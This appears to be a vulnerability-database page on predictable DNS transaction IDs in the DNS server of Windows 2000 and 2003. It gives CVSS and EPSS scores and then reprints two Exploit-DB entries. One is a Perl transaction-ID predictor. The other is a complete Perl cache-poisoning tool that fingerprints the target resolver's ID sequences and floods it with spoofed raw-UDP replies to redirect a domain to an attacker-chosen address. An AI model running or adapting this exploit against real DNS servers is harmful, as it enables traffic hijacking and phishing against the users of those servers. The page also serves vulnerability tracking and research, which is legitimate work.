CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
The DNS server in Microsoft Windows 2000 Server SP4, and Server 2003 SP1 and SP2, uses predictable transaction IDs when querying other DNS servers, which allows remote attackers to spoof DNS replies, poison the DNS cache, and facilitate further attack vectors.
Category : Configuration Weaknesses in this category are typically introduced during the configuration of the software.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
6.4
AV:N/AC:L/Au:N/C:N/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
51.48%
–
–
2022-04-03
–
–
51.48%
–
–
2023-03-12
–
–
–
96.8%
–
2023-05-28
–
–
–
96.85%
–
2023-07-02
–
–
–
96.83%
–
2023-10-15
–
–
–
96.41%
–
2023-11-19
–
–
–
96.28%
–
2023-12-31
–
–
–
96.19%
–
2024-03-10
–
–
–
96.47%
–
2024-06-02
–
–
–
96.47%
–
2024-06-02
–
–
–
96.47%
–
2024-07-07
–
–
–
96.32%
–
2024-08-11
–
–
–
95.97%
–
2024-09-22
–
–
–
94.91%
–
2024-12-08
–
–
–
95.71%
–
2024-12-22
–
–
–
92.18%
–
2025-01-12
–
–
–
88.45%
–
2025-01-19
–
–
–
88.45%
–
2025-03-18
–
–
–
–
85.47%
2025-03-30
–
–
–
–
86.03%
2025-03-30
–
–
–
–
86.03,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2007-11-12 23h00 +00:00 Author : Alla Berzroutchko EDB Verified : Yes
source: https://www.securityfocus.com/bid/25919/info
Microsoft Windows DNS Server is prone to a vulnerability that permits an attacker to spoof responses to DNS requests.
A successful attack will corrupt the DNS cache with attacker-specified content. This may aid in further attacks such as phishing.
$TRXID=$ARGV[0];
$zero=$TRXID>>14;
if ($zero!=0)
{
print "Highest two bits are not 0.\n";
print "Is this really Windows DNS server? check endian issues!\n";
exit(0);
}
$M=($TRXID>>11) & 7;
$C=($TRXID>>3) & 0xFF;
$L=$TRXID & 7;
if (($C % 8)!=7)
{
print "C mod 8 is not 7 - can't predict next TRXID.\n";
print "Wait for C mod 8 to become 7\n";
exit(0);
}
print "Next TRXID is one of the following 8 values:\n";
for ($m=0;$m<8;$m++)
{
print "".(($m<<11)|((($C+1) % 256)<<3))." ";
}
print "\n";
Publication date : 2007-11-12 23h00 +00:00 Author : Alla Berzroutchko EDB Verified : Yes
source: https://www.securityfocus.com/bid/25919/info
Microsoft Windows DNS Server is prone to a vulnerability that permits an attacker to spoof responses to DNS requests.
A successful attack will corrupt the DNS cache with attacker-specified content. This may aid in further attacks such as phishing.
#!/usr/bin/perl
use strict;
use Net::DNS;
use Net::DNS::Nameserver;
use IO::Socket;
use Net::RawIP;
sub usage {
print ("$0 is a program for DNS id spoofing.\n");
print ("usage: $0 target tospoof ourzone port\n");
print ("Example: $0 ns1.belbone.be www.hotmail.com .cache-poisoning.net 1025\n");
}
my($target, $tospoof, $ourzone, $query_port) = @ARGV;
$tospoof = "www.hotmail.com" unless($tospoof);
$ourzone = ".cache-poisoning.net" unless($ourzone);
$query_port = 53 unless($query_port);
if(!$target) {
usage();
die("You must specify target nameserver\n");
}
my($host, $domain) = split(/\./, $tospoof, 2);
my $client = IO::Socket::INET->new(PeerAddr => $target,
PeerPort => 53,
Proto => "udp")
or die "Couldn't be a udp client on port 53 : $@\n";
my @nameservers = get_nameservers($domain);
#print join("\n", @nameservers);
#exit;
cache_ns($client, $tospoof); # Make vitim cache ns record for name to spoof
my @ids = get_sequence($client, $ourzone);
my @replies = prepare_replies(\@nameservers, \@ids, $target, $tospoof);
send_request($client, $tospoof);
send_replies(@replies);
sub prepare_replies($$$$) {
my($nameservers, $initial_ids, $target, $tospoof) = @_;
my $totry = 500; # We will try 500 ids subsequent to the one we've got
my $fakeip = "127.0.0.1"; # IP address that we want the target cache to believe in
my @replies;
for my $i (1..$totry) {
for my $id (@$initial_ids) {
my $dns_packet = Net::DNS::Packet->new($tospoof);
$dns_packet->push("pre", rr_add($tospoof . " A " . $fakeip));
$dns_packet->header->qr(1);
$dns_packet->header->aa(1); # Authoritative
$dns_packet->header->rd(1); # Recursion desired
$dns_packet->header->ra(1); # Recursion available
$dns_packet->header->id($id+$i);
for my $nameserver(@$nameservers) {
my $packet = new Net::RawIP({udp=>{}});
$packet->set({ip=>{saddr=>$nameserver, daddr=>$target},
udp=>{source=>53, dest=>$query_port, data=>$dns_packet->data()}
});
push @replies, $packet;
}
}
}
return @replies;
}
sub send_replies(@) {
my @packets = @_;
foreach my $packet(@packets) {
$packet->send(0,2);
}
}
sub send_request($$) {
my($client, $tospoof) = @_;
my $packet = Net::DNS::Packet->new($tospoof, "A");
$client->send($packet->data()) or die "send: $!";
}
sub cache_ns($$) {
my($client, $tospoof) = @_;
my($host, $domain) = split(/\./, $tospoof, 2);
my $packet = Net::DNS::Packet->new($domain, "NS");
$client->send($packet->data()) or die "send: $!";
}
sub get_sequence($$) {
my ($client, $ourzone) = @_;
my $server = Net::DNS::Nameserver->new( LocalAddr => "0.0.0.0",
LocalPort => "53",
ReplyHandler => \&reply_handler,
Verbose => 0
) || die;
my @ids;
for(my $i=0; $i<50; $i++) {
my $packet = Net::DNS::Packet->new("id$i$$".$ourzone);
$client->send($packet->data()) or warn "Failed sending packet: $!";
#print STDERR "Request sent\n";
## Wait for request from target nameserver
sub reply_handler {
my ($qname, $qclass, $qtype, $peerhost, $query) = @_;
my ($rcode, @ans, @auth, @add);
die sprintf "ID %d\n", $query->header->id;
};
eval {
$SIG{ALRM} = sub { die "timeout\n"; };
alarm(2);
$server->main_loop();
};
alarm(0);
if ($@ =~ /^timeout/) {
next;
};
unless ($@ =~ /^ID (\d+)/) { die $@; };
my $id = $1;
push @ids, $id;
}
my @seq = analyse_ids(@ids);
return @seq;
}
sub analyse_ids {
my @ids = @_;
my @seq; # Keeps the last seen number in each sequence
my $counter = 0;
my $num_seq = 8; # total number of sequences we track
my $max_diff = 500; # maximum difference between two subsequent ids in one sequence
id: for my $id (@ids) {
for my $i (0..$num_seq) {
if(defined($seq[$i]) && $seq[$i]<$id && $seq[$i]+$max_diff>$id) {
# We have already seen numbers from this sequence
$seq[$i] = $id;
$counter++;
next id;
}
if(defined($seq[$i]) && $seq[$i]>65535/4-$max_diff && $id < $max_diff) {
# Sequence has wrapped
$seq[$i] = $id;
$counter++;
next id;
}
if(!defined($seq[$i])) {
# We have not seen this sequence, and there are still free sequence slots
$seq[$i] = $id;
$counter++;
next id;
}
}
$counter++;
}
return @seq;
}
sub get_nameservers($) {
my $domain = shift;
my $res = Net::DNS::Resolver->new;
my $query = $res->query($domain, "NS");
my @nameservers;
if ($query) {
foreach my $rr (grep { $_->type eq 'NS' } $query->answer) {
my $server = $rr->nsdname;
push @nameservers, host_to_ip($server);
# Windows always uses first nameserver if available
return @nameservers;
}
}
return(@nameservers);
}
sub host_to_ip($) {
my $hostname = shift;
my $ip = join(".", unpack("C4", ((gethostbyname($hostname))[4]) || return $_[0]));
my $num = unpack("N", pack("C4", split(/\./, $ip)));
return $num;
}